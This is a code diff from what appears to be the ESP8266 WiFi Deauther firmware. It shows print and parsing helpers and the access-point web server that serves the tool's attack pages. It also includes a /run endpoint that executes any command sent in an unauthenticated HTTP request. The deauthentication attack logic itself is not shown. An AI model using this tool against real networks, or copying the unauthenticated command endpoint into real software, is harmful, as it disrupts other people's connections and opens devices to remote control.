booted = true;
|
||||
EEPROMHelper::resetBootNum(BOOT_COUNTER_ADDR);
|
||||
#ifdef HIGHLIGHT_LED
|
||||
displayUI.setupLED();
|
||||
#endif // ifdef HIGHLIGHT_LED
|
||||
}
|
||||
}
|
|
@ -247,15 +247,15 @@ bool s2b(String input) {
|
|||
}
|
||||
|
||||
// ===== PRINT FUNCTIONS ===== //
|
||||
void prnt(String s) {
|
||||
void prnt(const String s) {
|
||||
Serial.print(s);
|
||||
}
|
||||
|
||||
void prnt(bool b) {
|
||||
void prnt(const bool b) {
|
||||
Serial.print(b2s(b));
|
||||
}
|
||||
|
||||
void prnt(char c) {
|
||||
void prnt(const char c) {
|
||||
Serial.print(c);
|
||||
}
|
||||
|
||||
|
@ -263,23 +263,31 @@ void prnt(const char* ptr) {
|
|||
Serial.print(FPSTR(ptr));
|
||||
}
|
||||
|
||||
void prnt(int i) {
|
||||
void prnt(const char* ptr, int len) {
|
||||
for (int i = 0; i<len; i++) prnt(ptr[i]);
|
||||
}
|
||||
|
||||
void prnt(const int i) {
|
||||
Serial.print((String)i);
|
||||
}
|
||||
|
||||
void prnt(const uint32_t i) {
|
||||
Serial.printf("%u", i);
|
||||
}
|
||||
|
||||
void prntln() {
|
||||
Serial.println();
|
||||
}
|
||||
|
||||
void prntln(String s) {
|
||||
void prntln(const String s) {
|
||||
Serial.println(s);
|
||||
}
|
||||
|
||||
void prntln(bool b) {
|
||||
void prntln(const bool b) {
|
||||
Serial.println(b2s(b));
|
||||
}
|
||||
|
||||
void prntln(char c) {
|
||||
void prntln(const char c) {
|
||||
Serial.println(c);
|
||||
}
|
||||
|
||||
|
@ -287,10 +295,19 @@ void prntln(const char* ptr) {
|
|||
Serial.println(FPSTR(ptr));
|
||||
}
|
||||
|
||||
void prntln(int i) {
|
||||
void prntln(const char* ptr, int len) {
|
||||
for (int i = 0; i<len; i++) prnt(ptr[i]);
|
||||
prntln();
|
||||
}
|
||||
|
||||
void prntln(const int i) {
|
||||
Serial.println((String)i);
|
||||
}
|
||||
|
||||
void prntln(const uint32_t i) {
|
||||
Serial.printf("%u\r\n", i);
|
||||
}
|
||||
|
||||
/* ===== WiFi ===== */
|
||||
void setWifiChannel(uint8_t ch) {
|
||||
if ((ch != wifi_channel) && (ch > 0) && (ch < 15)) {
|
||||
|
@ -402,7 +419,7 @@ String searchVendor(uint8_t* mac) {
|
|||
}
|
||||
|
||||
/* ===== STRING ===== */
|
||||
String bytesToStr(uint8_t* b, uint32_t size) {
|
||||
String bytesToStr(const uint8_t* b, uint32_t size) {
|
||||
String str;
|
||||
|
||||
for (uint32_t i = 0; i < size; i++) {
|
||||
|
@ -414,7 +431,7 @@ String bytesToStr(uint8_t* b, uint32_t size) {
|
|||
return str;
|
||||
}
|
||||
|
||||
String macToStr(uint8_t* mac) {
|
||||
String macToStr(const uint8_t* mac) {
|
||||
return bytesToStr(mac, 6);
|
||||
}
|
||||
|
||||
|
@ -435,6 +452,29 @@ bool strToMac(String macStr, uint8_t* mac) {
|
|||
return true;
|
||||
}
|
||||
|
||||
bool strToIP(String ipStr, uint8_t* ip) {
|
||||
String parts[4] = { "0", "0", "0", "0" };
|
||||
int ipAddr[4] = { -1, -1, -1, -1 };
|
||||
|
||||
int j = 0;
|
||||
|
||||
for (int i = 0; i<ipStr.length(); i++) {
|
||||
if (ipStr[i] == '.') j++;
|
||||
else parts[j] += ipStr[i];
|
||||
}
|
||||
|
||||
for (int i = 0; i<4; i++) {
|
||||
ipAddr[i] = parts[i].toInt();
|
||||
if ((ipAddr[i] < 0) || (ipAddr[i] > 255)) return false;
|
||||
}
|
||||
|
||||
for (int i = 0; i<4; i++) {
|
||||
ip[i] = (uint8_t)ipAddr[i];
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void strToColor(String str, uint8_t* buf) {
|
||||
str.replace(":", "");
|
||||
str.replace("0x", "");
|
||||
|
|
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
|
@ -1,410 +1,410 @@
|
|||
#ifndef WifiManager_h
|
||||
#define WifiManager_h
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <ESP8266WiFi.h>
|
||||
#include <WiFiClient.h>
|
||||
#include <ESP8266WebServer.h>
|
||||
#include <DNSServer.h>
|
||||
#include <ESP8266mDNS.h>
|
||||
#include <FS.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
|
||||
#define WIFI_MODE_OFF 0
|
||||
#define WIFI_MODE_AP 1
|
||||
#define WIFI_MODE_STATION 2
|
||||
|
||||
/*
|
||||
This file contains all necessary functions for hosting and connecting to an access point.
|
||||
For compatibility and simplicity, all those functions are global.
|
||||
*/
|
||||
|
||||
// Important strings
|
||||
const char W_DEAUTHER[] PROGMEM = "deauth.me"; // captive portal domain (alternative to 192.168.4.1)
|
||||
const char W_WEBINTERFACE[] PROGMEM = "/web"; // default folder containing the web files
|
||||
const char W_ERROR_PASSWORD[] PROGMEM = "ERROR: Password must have at least 8 characters!";
|
||||
const char W_DEFAULT_LANG[] PROGMEM = "/lang/default.lang";
|
||||
|
||||
const char W_HTML[] PROGMEM = "text/html";
|
||||
const char W_CSS[] PROGMEM = "text/css";
|
||||
const char W_JS[] PROGMEM = "application/javascript";
|
||||
const char W_PNG[] PROGMEM = "image/png";
|
||||
const char W_GIF[] PROGMEM = "image/gif";
|
||||
const char W_JPG[] PROGMEM = "image/jpeg";
|
||||
const char W_ICON[] PROGMEM = "image/x-icon";
|
||||
const char W_XML[] PROGMEM = "text/xml";
|
||||
const char W_XPDF[] PROGMEM = "application/x-pdf";
|
||||
const char W_XZIP[] PROGMEM = "application/x-zip";
|
||||
const char W_GZIP[] PROGMEM = "application/x-gzip";
|
||||
const char W_JSON[] PROGMEM = "application/json";
|
||||
const char W_TXT[] PROGMEM = "text/plain";
|
||||
|
||||
const char W_DOT_HTM[] PROGMEM = ".htm";
|
||||
const char W_DOT_HTML[] PROGMEM = ".html";
|
||||
const char W_DOT_CSS[] PROGMEM = ".css";
|
||||
const char W_DOT_JS[] PROGMEM = ".js";
|
||||
const char W_DOT_PNG[] PROGMEM = ".png";
|
||||
const char W_DOT_GIF[] PROGMEM = ".gif";
|
||||
const char W_DOT_JPG[] PROGMEM = ".jpg";
|
||||
const char W_DOT_ICON[] PROGMEM = ".ico";
|
||||
const char W_DOT_XML[] PROGMEM = ".xml";
|
||||
const char W_DOT_PDF[] PROGMEM = ".pdf";
|
||||
const char W_DOT_ZIP[] PROGMEM = ".zip";
|
||||
const char W_DOT_GZIP[] PROGMEM = ".gz";
|
||||
const char W_DOT_JSON[] PROGMEM = ".json";
|
||||
|
||||
// Server and other global objects
|
||||
ESP8266WebServer server(80);
|
||||
DNSServer dnsServer;
|
||||
IPAddress apIP(192, 168, 4, 1);
|
||||
IPAddress netMsk(255, 255, 255, 0);
|
||||
File fsUploadFile;
|
||||
|
||||
// current WiFi mode and config
|
||||
uint8_t wifiMode = WIFI_MODE_OFF;
|
||||
|
||||
bool wifi_config_hidden = false;
|
||||
bool wifi_config_captivePortal = false;
|
||||
String wifi_config_ssid;
|
||||
String wifi_config_password;
|
||||
String wifi_config_path;
|
||||
|
||||
void stopAP() {
|
||||
if (wifiMode == WIFI_MODE_AP) {
|
||||
wifi_promiscuous_enable(0);
|
||||
WiFi.persistent(false);
|
||||
WiFi.disconnect(true);
|
||||
wifi_set_opmode(STATION_MODE);
|
||||
prntln(W_STOPPED_AP);
|
||||
wifiMode = WIFI_MODE_STATION;
|
||||
}
|
||||
}
|
||||
|
||||
void wifiUpdate() {
|
||||
if ((wifiMode != WIFI_MODE_OFF) && !scan.isScanning()) {
|
||||
server.handleClient();
|
||||
dnsServer.processNextRequest();
|
||||
}
|
||||
}
|
||||
|
||||
String getWifiMode() {
|
||||
switch (wifiMode) {
|
||||
case WIFI_MODE_OFF:
|
||||
return W_MODE_OFF;
|
||||
|
||||
break;
|
||||
|
||||
case WIFI_MODE_AP:
|
||||
return W_MODE_AP;
|
||||
|
||||
break;
|
||||
|
||||
case WIFI_MODE_STATION:
|
||||
return W_MODE_ST;
|
||||
|
||||
break;
|
||||
|
||||
default:
|
||||
return String();
|
||||
}
|
||||
}
|
||||
|
||||
String getContentType(String filename) {
|
||||
if (server.hasArg("download")) return String(F("application/octet-stream"));
|
||||
else if (filename.endsWith(str(W_DOT_GZIP))) filename = filename.substring(0, filename.length() - 3);
|
||||
else if (filename.endsWith(str(W_DOT_HTM))) return str(W_HTML);
|
||||
else if (filename.endsWith(str(W_DOT_HTML))) return str(W_HTML);
|
||||
else if (filename.endsWith(str(W_DOT_CSS))) return str(W_CSS);
|
||||
else if (filename.endsWith(str(W_DOT_JS))) return str(W_JS);
|
||||
else if (filename.endsWith(str(W_DOT_PNG))) return str(W_PNG);
|
||||
else if (filename.endsWith(str(W_DOT_GIF))) return str(W_GIF);
|
||||
else if (filename.endsWith(str(W_DOT_JPG))) return str(W_JPG);
|
||||
else if (filename.endsWith(str(W_DOT_ICON))) return str(W_ICON);
|
||||
else if (filename.endsWith(str(W_DOT_XML))) return str(W_XML);
|
||||
else if (filename.endsWith(str(W_DOT_PDF))) return str(W_XPDF);
|
||||
else if (filename.endsWith(str(W_DOT_ZIP))) return str(W_XZIP);
|
||||
else if (filename.endsWith(str(W_DOT_JSON))) return str(W_JSON);
|
||||
else return str(W_TXT);
|
||||
}
|
||||
|
||||
bool handleFileRead(String path) {
|
||||
//prnt(W_AP_REQUEST);
|
||||
//prnt(path);
|
||||
|
||||
if (!path.charAt(0) == SLASH) path = String(SLASH) + path;
|
||||
|
||||
if (path.charAt(path.length() - 1) == SLASH) path += String(F("index.html"));
|
||||
|
||||
String contentType = getContentType(path);
|
||||
|
||||
if (!SPIFFS.exists(path)) {
|
||||
if (SPIFFS.exists(path + str(W_DOT_GZIP))) path += str(W_DOT_GZIP);
|
||||
else if (SPIFFS.exists(wifi_config_path + path)) path = wifi_config_path + path;
|
||||
else if (SPIFFS.exists(wifi_config_path + path + str(W_DOT_GZIP))) path = wifi_config_path + path + str(
|
||||
W_DOT_GZIP);
|
||||
else {
|
||||
// prntln(W_NOT_FOUND);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
File file = SPIFFS.open(path, "r");
|
||||
server.streamFile(file, contentType);
|
||||
file.close();
|
||||
//prnt(SPACE);
|
||||
//prntln(W_OK);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void handleFileList() {
|
||||
if (!server.hasArg("dir")) {
|
||||
server.send(500, str(W_TXT), str(W_BAD_ARGS));
|
||||
return;
|
||||
}
|
||||
|
||||
String path = server.arg("dir");
|
||||
// Serial.println("handleFileList: " + path);
|
||||
Dir dir = SPIFFS.openDir(path);
|
||||
|
||||
String output = String(OPEN_BRACKET); // {
|
||||
File entry;
|
||||
bool first = true;
|
||||
|
||||
while (dir.next()) {
|
||||
entry = dir.openFile("r");
|
||||
|
||||
if (first) first = false;
|
||||
else output += COMMA; // ,
|
||||
|
||||
output += OPEN_BRACKET; // [
|
||||
output += String(DOUBLEQUOTES) + entry.name() + String(DOUBLEQUOTES); // "filename"
|
||||
output += CLOSE_BRACKET; // ]
|
||||
|
||||
entry.close();
|
||||
}
|
||||
|
||||
output += CLOSE_BRACKET;
|
||||
server.send(200, str(W_JSON).c_str(), output);
|
||||
}
|
||||
|
||||
void sendProgmem(const char* ptr, size_t size, const char* type) {
|
||||
server.sendHeader("Content-Encoding", "gzip");
|
||||
server.sendHeader("Cache-Control", "max-age=86400");
|
||||
server.send_P(200, str(type).c_str(), ptr, size);
|
||||
}
|
||||
|
||||
// path = folder of web files, ssid = name of network, password = password ("0" => no password), hidden = if the network
|
||||
// is visible, captivePortal = enable a captive portal
|
||||
void startAP(String path, String ssid, String password, uint8_t ch, bool hidden, bool captivePortal) {
|
||||
if (password.length() < 8) {
|
||||
prntln(W_ERROR_PASSWORD);
|
||||
return;
|
||||
}
|
||||
|
||||
if (!path.charAt(0) == SLASH) path = String(SLASH) + path;
|
||||
|
||||
if (password == String(ZERO)) password = String(NEWLINE);
|
||||
|
||||
wifi_config_path = path;
|
||||
wifi_config_ssid = ssid;
|
||||
wifi_config_password = password;
|
||||
setWifiChannel(ch);
|
||||
wifi_config_hidden = hidden;
|
||||
wifi_config_captivePortal = captivePortal;
|
||||
|
||||
WiFi.softAPConfig(apIP, apIP, netMsk);
|
||||
WiFi.softAP(ssid.c_str(), password.c_str(), wifi_channel, hidden);
|
||||
|
||||
dnsServer.setErrorReplyCode(DNSReplyCode::NoError);
|
||||
dnsServer.start(53, String(ASTERIX), apIP);
|
||||
|
||||
MDNS.begin(str(W_DEAUTHER).c_str());
|
||||
|
||||
server.on(String(F("/list")).c_str(), HTTP_GET, handleFileList); // list directory
|
||||
|
||||
|
||||
// ================================================================
|
||||
// post here the output of the webConverter.py
|
||||
#ifdef USE_PROGMEM_WEB_FILES
|
||||
if (!settings.getWebSpiffs()) {
|
||||
server.on(String(SLASH).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(indexhtml, sizeof(indexhtml), W_HTML);
|
||||
});
|
||||
server.on(String(F("/attack.html")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(attackhtml, sizeof(attackhtml), W_HTML);
|
||||
});
|
||||
server.on(String(F("/index.html")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(indexhtml, sizeof(indexhtml), W_HTML);
|
||||
});
|
||||
server.on(String(F("/info.html")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(infohtml, sizeof(infohtml), W_HTML);
|
||||
});
|
||||
server.on(String(F("/scan.html")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(scanhtml, sizeof(scanhtml), W_HTML);
|
||||
});
|
||||
server.on(String(F("/settings.html")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(settingshtml, sizeof(settingshtml), W_HTML);
|
||||
});
|
||||
server.on(String(F("/ssids.html")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(ssidshtml, sizeof(ssidshtml), W_HTML);
|
||||
});
|
||||
server.on(String(F("/style.css")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(stylecss, sizeof(stylecss), W_CSS);
|
||||
});
|
||||
server.on(String(F("/js/attack.js")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(attackjs, sizeof(attackjs), W_JS);
|
||||
});
|
||||
server.on(String(F("/js/scan.js")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(scanjs, sizeof(scanjs), W_JS);
|
||||
});
|
||||
server.on(String(F("/js/settings.js")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(settingsjs, sizeof(settingsjs), W_JS);
|
||||
});
|
||||
server.on(String(F("/js/site.js")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(sitejs, sizeof(sitejs), W_JS);
|
||||
});
|
||||
server.on(String(F("/js/ssids.js")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(ssidsjs, sizeof(ssidsjs), W_JS);
|
||||
});
|
||||
server.on(String(F("/lang/cn.lang")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(cnlang, sizeof(cnlang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/cs.lang")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(cslang, sizeof(cslang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/de.lang")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(delang, sizeof(delang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/en.lang")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(enlang, sizeof(enlang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/es.lang")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(eslang, sizeof(eslang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/fi.lang")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(filang, sizeof(filang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/fr.lang")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(frlang, sizeof(frlang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/it.lang")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(itlang, sizeof(itlang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/ru.lang")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(rulang, sizeof(rulang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/tlh.lang")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(tlhlang, sizeof(tlhlang), W_JSON);
|
||||
});
|
||||
}
|
||||
server.on(str(W_DEFAULT_LANG).c_str(), HTTP_GET, []() {
|
||||
if (!settings.getWebSpiffs()) {
|
||||
if (settings.getLang() == String(F("cn"))) sendProgmem(cnlang, sizeof(cnlang), W_JSON);
|
||||
else if (settings.getLang() == String(F("cs"))) sendProgmem(cslang, sizeof(cslang), W_JSON);
|
||||
else if (settings.getLang() == String(F("de"))) sendProgmem(delang, sizeof(delang), W_JSON);
|
||||
else if (settings.getLang() == String(F("en"))) sendProgmem(enlang, sizeof(enlang), W_JSON);
|
||||
else if (settings.getLang() == String(F("es"))) sendProgmem(eslang, sizeof(eslang), W_JSON);
|
||||
else if (settings.getLang() == String(F("fi"))) sendProgmem(filang, sizeof(filang), W_JSON);
|
||||
else if (settings.getLang() == String(F("fr"))) sendProgmem(frlang, sizeof(frlang), W_JSON);
|
||||
else if (settings.getLang() == String(F("it"))) sendProgmem(itlang, sizeof(itlang), W_JSON);
|
||||
else if (settings.getLang() == String(F("ru"))) sendProgmem(rulang, sizeof(rulang), W_JSON);
|
||||
else if (settings.getLang() == String(F("tlh"))) sendProgmem(tlhlang, sizeof(tlhlang), W_JSON);
|
||||
|
||||
else handleFileRead(String(F("/web/lang/")) + settings.getLang() + String(F(".lang")));
|
||||
} else {
|
||||
handleFileRead(String(F("/web/lang/")) + settings.getLang() + String(F(".lang")));
|
||||
}
|
||||
});
|
||||
#endif
|
||||
// ================================================================
|
||||
|
||||
server.on(String(F("/run")).c_str(), HTTP_GET, []() {
|
||||
server.send(200, str(W_TXT), str(W_OK).c_str());
|
||||
String input = server.arg("cmd");
|
||||
cli.exec(input);
|
||||
});
|
||||
|
||||
server.on(String(F("/attack.json")).c_str(), HTTP_GET, []() {
|
||||
server.send(200, str(W_JSON), attack.getStatusJSON());
|
||||
});
|
||||
|
||||
// aggressively caching static assets
|
||||
server.serveStatic("/js", SPIFFS, String(wifi_config_path + "/js").c_str(), "max-age=86400");
|
||||
|
||||
// called when the url is not defined here
|
||||
// use it to load content from SPIFFS
|
||||
server.onNotFound([]() {
|
||||
if (!handleFileRead(server.uri())) {
|
||||
server.send(404, str(W_TXT), str(W_FILE_NOT_FOUND));
|
||||
}
|
||||
});
|
||||
|
||||
server.begin();
|
||||
wifiMode = WIFI_MODE_AP;
|
||||
|
||||
prntln(W_STARTED_AP);
|
||||
printWifiStatus();
|
||||
}
|
||||
|
||||
void printWifiStatus() {
|
||||
prnt(String(F("[WiFi] Path: '")));
|
||||
prnt(wifi_config_path);
|
||||
prnt(String(F("', Mode: '")));
|
||||
|
||||
switch (wifiMode) {
|
||||
case WIFI_MODE_OFF:
|
||||
prnt(W_MODE_OFF);
|
||||
break;
|
||||
|
||||
case WIFI_MODE_AP:
|
||||
prnt(W_AP);
|
||||
break;
|
||||
|
||||
case WIFI_MODE_STATION:
|
||||
prnt(W_STATION);
|
||||
break;
|
||||
}
|
||||
prnt(String(F("', SSID: '")));
|
||||
prnt(wifi_config_ssid);
|
||||
prnt(String(F("', password: '")));
|
||||
prnt(wifi_config_password);
|
||||
prnt(String(F("', channel: '")));
|
||||
prnt(wifi_channel);
|
||||
prnt(String(F("', hidden: ")));
|
||||
prnt(b2s(wifi_config_hidden));
|
||||
prnt(String(F(", captive-portal: ")));
|
||||
prntln(b2s(wifi_config_captivePortal));
|
||||
}
|
||||
|
||||
void startAP() {
|
||||
startAP(wifi_config_path.c_str(), wifi_config_ssid.c_str(),
|
||||
wifi_config_password.c_str(), wifi_channel, wifi_config_hidden, wifi_config_captivePortal);
|
||||
}
|
||||
|
||||
void startAP(String path) {
|
||||
wifi_config_path = path;
|
||||
startAP();
|
||||
}
|
||||
|
||||
void loadWifiConfigDefaults() {
|
||||
wifi_config_hidden = settings.getHidden();
|
||||
wifi_config_ssid = settings.getSSID();
|
||||
wifi_config_password = settings.getPassword();
|
||||
wifi_config_captivePortal = settings.getCaptivePortal();
|
||||
wifi_config_path = str(W_WEBINTERFACE);
|
||||
}
|
||||
|
||||
void resumeAP() {
|
||||
if (wifiMode != WIFI_MODE_AP) {
|
||||
wifiMode = WIFI_MODE_AP;
|
||||
wifi_promiscuous_enable(0);
|
||||
WiFi.softAPConfig(apIP, apIP, netMsk);
|
||||
WiFi.softAP(wifi_config_ssid.c_str(), wifi_config_password.c_str(), wifi_channel, wifi_config_hidden);
|
||||
prntln(W_STARTED_AP);
|
||||
}
|
||||
}
|
||||
|
||||
#endif // ifndef WifiManager_h
|
||||
#ifndef WifiManager_h
|
||||
#define WifiManager_h
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <ESP8266WiFi.h>
|
||||
#include <WiFiClient.h>
|
||||
#include <ESP8266WebServer.h>
|
||||
#include <DNSServer.h>
|
||||
#include <ESP8266mDNS.h>
|
||||
#include <FS.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
|
||||
#define WIFI_MODE_OFF 0
|
||||
#define WIFI_MODE_AP 1
|
||||
#define WIFI_MODE_STATION 2
|
||||
|
||||
/*
|
||||
This file contains all necessary functions for hosting and connecting to an access point.
|
||||
For compatibility and simplicity, all those functions are global.
|
||||
*/
|
||||
|
||||
// Important strings
|
||||
const char W_DEAUTHER[] PROGMEM = "deauth.me"; // captive portal domain (alternative to 192.168.4.1)
|
||||
const char W_WEBINTERFACE[] PROGMEM = "/web"; // default folder containing the web files
|
||||
const char W_ERROR_PASSWORD[] PROGMEM = "ERROR: Password must have at least 8 characters!";
|
||||
const char W_DEFAULT_LANG[] PROGMEM = "/lang/default.lang";
|
||||
|
||||
const char W_HTML[] PROGMEM = "text/html";
|
||||
const char W_CSS[] PROGMEM = "text/css";
|
||||
const char W_JS[] PROGMEM = "application/javascript";
|
||||
const char W_PNG[] PROGMEM = "image/png";
|
||||
const char W_GIF[] PROGMEM = "image/gif";
|
||||
const char W_JPG[] PROGMEM = "image/jpeg";
|
||||
const char W_ICON[] PROGMEM = "image/x-icon";
|
||||
const char W_XML[] PROGMEM = "text/xml";
|
||||
const char W_XPDF[] PROGMEM = "application/x-pdf";
|
||||
const char W_XZIP[] PROGMEM = "application/x-zip";
|
||||
const char W_GZIP[] PROGMEM = "application/x-gzip";
|
||||
const char W_JSON[] PROGMEM = "application/json";
|
||||
const char W_TXT[] PROGMEM = "text/plain";
|
||||
|
||||
const char W_DOT_HTM[] PROGMEM = ".htm";
|
||||
const char W_DOT_HTML[] PROGMEM = ".html";
|
||||
const char W_DOT_CSS[] PROGMEM = ".css";
|
||||
const char W_DOT_JS[] PROGMEM = ".js";
|
||||
const char W_DOT_PNG[] PROGMEM = ".png";
|
||||
const char W_DOT_GIF[] PROGMEM = ".gif";
|
||||
const char W_DOT_JPG[] PROGMEM = ".jpg";
|
||||
const char W_DOT_ICON[] PROGMEM = ".ico";
|
||||
const char W_DOT_XML[] PROGMEM = ".xml";
|
||||
const char W_DOT_PDF[] PROGMEM = ".pdf";
|
||||
const char W_DOT_ZIP[] PROGMEM = ".zip";
|
||||
const char W_DOT_GZIP[] PROGMEM = ".gz";
|
||||
const char W_DOT_JSON[] PROGMEM = ".json";
|
||||
|
||||
// Server and other global objects
|
||||
ESP8266WebServer server(80);
|
||||
DNSServer dnsServer;
|
||||
IPAddress apIP(192, 168, 4, 1);
|
||||
IPAddress netMsk(255, 255, 255, 0);
|
||||
File fsUploadFile;
|
||||
|
||||
// current WiFi mode and config
|
||||
uint8_t wifiMode = WIFI_MODE_OFF;
|
||||
|
||||
bool wifi_config_hidden = false;
|
||||
bool wifi_config_captivePortal = false;
|
||||
String wifi_config_ssid;
|
||||
String wifi_config_password;
|
||||
String wifi_config_path;
|
||||
|
||||
void stopAP() {
|
||||
if (wifiMode == WIFI_MODE_AP) {
|
||||
wifi_promiscuous_enable(0);
|
||||
WiFi.persistent(false);
|
||||
WiFi.disconnect(true);
|
||||
wifi_set_opmode(STATION_MODE);
|
||||
prntln(W_STOPPED_AP);
|
||||
wifiMode = WIFI_MODE_STATION;
|
||||
}
|
||||
}
|
||||
|
||||
void wifiUpdate() {
|
||||
if ((wifiMode != WIFI_MODE_OFF) && !scan.isScanning()) {
|
||||
server.handleClient();
|
||||
dnsServer.processNextRequest();
|
||||
}
|
||||
}
|
||||
|
||||
String getWifiMode() {
|
||||
switch (wifiMode) {
|
||||
case WIFI_MODE_OFF:
|
||||
return W_MODE_OFF;
|
||||
|
||||
break;
|
||||
|
||||
case WIFI_MODE_AP:
|
||||
return W_MODE_AP;
|
||||
|
||||
break;
|
||||
|
||||
case WIFI_MODE_STATION:
|
||||
return W_MODE_ST;
|
||||
|
||||
break;
|
||||
|
||||
default:
|
||||
return String();
|
||||
}
|
||||
}
|
||||
|
||||
String getContentType(String filename) {
|
||||
if (server.hasArg("download")) return String(F("application/octet-stream"));
|
||||
else if (filename.endsWith(str(W_DOT_GZIP))) filename = filename.substring(0, filename.length() - 3);
|
||||
else if (filename.endsWith(str(W_DOT_HTM))) return str(W_HTML);
|
||||
else if (filename.endsWith(str(W_DOT_HTML))) return str(W_HTML);
|
||||
else if (filename.endsWith(str(W_DOT_CSS))) return str(W_CSS);
|
||||
else if (filename.endsWith(str(W_DOT_JS))) return str(W_JS);
|
||||
else if (filename.endsWith(str(W_DOT_PNG))) return str(W_PNG);
|
||||
else if (filename.endsWith(str(W_DOT_GIF))) return str(W_GIF);
|
||||
else if (filename.endsWith(str(W_DOT_JPG))) return str(W_JPG);
|
||||
else if (filename.endsWith(str(W_DOT_ICON))) return str(W_ICON);
|
||||
else if (filename.endsWith(str(W_DOT_XML))) return str(W_XML);
|
||||
else if (filename.endsWith(str(W_DOT_PDF))) return str(W_XPDF);
|
||||
else if (filename.endsWith(str(W_DOT_ZIP))) return str(W_XZIP);
|
||||
else if (filename.endsWith(str(W_DOT_JSON))) return str(W_JSON);
|
||||
else return str(W_TXT);
|
||||
}
|
||||
|
||||
bool handleFileRead(String path) {
|
||||
// prnt(W_AP_REQUEST);
|
||||
// prnt(path);
|
||||
|
||||
if (!path.charAt(0) == SLASH) path = String(SLASH) + path;
|
||||
|
||||
if (path.charAt(path.length() - 1) == SLASH) path += String(F("index.html"));
|
||||
|
||||
String contentType = getContentType(path);
|
||||
|
||||
if (!SPIFFS.exists(path)) {
|
||||
if (SPIFFS.exists(path + str(W_DOT_GZIP))) path += str(W_DOT_GZIP);
|
||||
else if (SPIFFS.exists(wifi_config_path + path)) path = wifi_config_path + path;
|
||||
else if (SPIFFS.exists(wifi_config_path + path + str(W_DOT_GZIP))) path = wifi_config_path + path + str(
|
||||
W_DOT_GZIP);
|
||||
else {
|
||||
// prntln(W_NOT_FOUND);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
File file = SPIFFS.open(path, "r");
|
||||
server.streamFile(file, contentType);
|
||||
file.close();
|
||||
// prnt(SPACE);
|
||||
// prntln(W_OK);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void handleFileList() {
|
||||
if (!server.hasArg("dir")) {
|
||||
server.send(500, str(W_TXT), str(W_BAD_ARGS));
|
||||
return;
|
||||
}
|
||||
|
||||
String path = server.arg("dir");
|
||||
// Serial.println("handleFileList: " + path);
|
||||
Dir dir = SPIFFS.openDir(path);
|
||||
|
||||
String output = String(OPEN_BRACKET); // {
|
||||
File entry;
|
||||
bool first = true;
|
||||
|
||||
while (dir.next()) {
|
||||
entry = dir.openFile("r");
|
||||
|
||||
if (first) first = false;
|
||||
else output += COMMA; // ,
|
||||
|
||||
output += OPEN_BRACKET; // [
|
||||
output += String(DOUBLEQUOTES) + entry.name() + String(DOUBLEQUOTES); // "filename"
|
||||
output += CLOSE_BRACKET; // ]
|
||||
|
||||
entry.close();
|
||||
}
|
||||
|
||||
output += CLOSE_BRACKET;
|
||||
server.send(200, str(W_JSON).c_str(), output);
|
||||
}
|
||||
|
||||
void sendProgmem(const char* ptr, size_t size, const char* type) {
|
||||
server.sendHeader("Content-Encoding", "gzip");
|
||||
server.sendHeader("Cache-Control", "max-age=86400");
|
||||
server.send_P(200, str(type).c_str(), ptr, size);
|
||||
}
|
||||
|
||||
// path = folder of web files, ssid = name of network, password = password ("0" => no password), hidden = if the network
|
||||
// is visible, captivePortal = enable a captive portal
|
||||
void startAP(String path, String ssid, String password, uint8_t ch, bool hidden, bool captivePortal) {
|
||||
if (password.length() < 8) {
|
||||
prntln(W_ERROR_PASSWORD);
|
||||
return;
|
||||
}
|
||||
|
||||
if (!path.charAt(0) == SLASH) path = String(SLASH) + path;
|
||||
|
||||
if (password == String(ZERO)) password = String(NEWLINE);
|
||||
|
||||
wifi_config_path = path;
|
||||
wifi_config_ssid = ssid;
|
||||
wifi_config_password = password;
|
||||
setWifiChannel(ch);
|
||||
wifi_config_hidden = hidden;
|
||||
wifi_config_captivePortal = captivePortal;
|
||||
|
||||
WiFi.softAPConfig(apIP, apIP, netMsk);
|
||||
WiFi.softAP(ssid.c_str(), password.c_str(), wifi_channel, hidden);
|
||||
|
||||
dnsServer.setErrorReplyCode(DNSReplyCode::NoError);
|
||||
dnsServer.start(53, String(ASTERIX), apIP);
|
||||
|
||||
MDNS.begin(str(W_DEAUTHER).c_str());
|
